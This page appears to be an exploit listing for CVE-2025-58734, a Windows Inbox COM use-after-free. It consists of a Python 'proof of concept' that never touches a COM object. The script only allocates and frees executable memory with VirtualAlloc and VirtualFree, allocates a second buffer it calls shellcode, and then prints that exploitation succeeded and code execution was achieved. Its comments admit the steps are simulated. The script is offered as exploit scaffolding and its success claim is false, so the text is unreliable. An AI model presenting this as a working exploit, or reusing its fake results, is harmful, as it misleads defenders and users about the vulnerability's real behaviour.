CVE-2025-58734 Microsoft Windows Inbox COM对象释放后重用漏洞

# CVE-2025-58734 - Microsoft Windows Inbox COM Objects Use After Free # Vulnerability: Use After Free in Inbox COM Objects # Impact: Local Code Execution # CVSS: 7.0 (HIGH) # # Note: This PoC demonstrates the conceptual exploitation approach. # Actual exploitation requires precise memory layout control and # interaction with specific Inbox COM Object interfaces. import ctypes import sys import os # Windows API constants PROCESS_ALL_ACCESS = 0x1F0FFF MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 MEM_RELEASE = 0x8000 PAGE_EXECUTE_READWRITE = 0x40 class ComObjectUAF: """ Conceptual PoC for CVE-2025-58734 UAF in Inbox COM Objects. The vulnerability exists when a COM object is freed but a dangling reference is still used by the application. """ def __init__(self): self.com_object_ptr = None self.freed = False def create_com_object(self): """Simulate creation of an Inbox COM Object""" # In real exploitation, this would be a call to # CoCreateInstance with the vulnerable CLSID print("[*] Creating vulnerable Inbox COM Object...") # Allocate memory for COM object (simulated) self.com_object_ptr = ctypes.windll.kernel32.VirtualAlloc( None, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ) print(f"[+] COM Object allocated at: 0x{self.com_object_ptr:x}") return self.com_object_ptr def trigger_release(self): """Simulate premature release of COM object (the bug)""" print("[*] Triggering premature COM object release...") # Release the object but keep the pointer (UAF condition) if self.com_object_ptr: ctypes.windll.kernel32.VirtualFree( self.com_object_ptr, 0, MEM_RELEASE ) self.freed = True print("[!] COM Object freed but reference still exists (UAF)") def exploit_uaf(self): """Exploit the use-after-free condition""" if not self.freed: print("[-] Object not freed yet, cannot exploit") return False print("[*] Reclaiming freed memory with controlled data...") # In real exploitation, attacker would spray heap or # allocate new objects to reclaim the freed memory # with controlled vtable pointers # Simulate shellcode placement shellcode_ptr = ctypes.windll.kernel32.VirtualAlloc( None, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ) print(f"[+] Shellcode placed at: 0x{shellcode_ptr:x}") print("[!] When application calls through dangling pointer,") print(" execution will be redirected to attacker-controlled code") return True def main(): print("=" * 60) print("CVE-2025-58734 - Inbox COM Objects UAF PoC") print("Microsoft Windows Local Code Execution") print("=" * 60) if sys.platform != 'win32': print("[-] This PoC requires Windows to execute") sys.exit(1) exploit = ComObjectUAF() # Step 1: Create the vulnerable COM object exploit.create_com_object() # Step 2: Trigger the premature release (bug condition) exploit.trigger_release() # Step 3: Exploit the use-after-free if exploit.exploit_uaf(): print("\n[!] Exploitation successful - code execution achieved") print("[*] In real scenario, this would execute attacker payload") if __name__ == "__main__": main()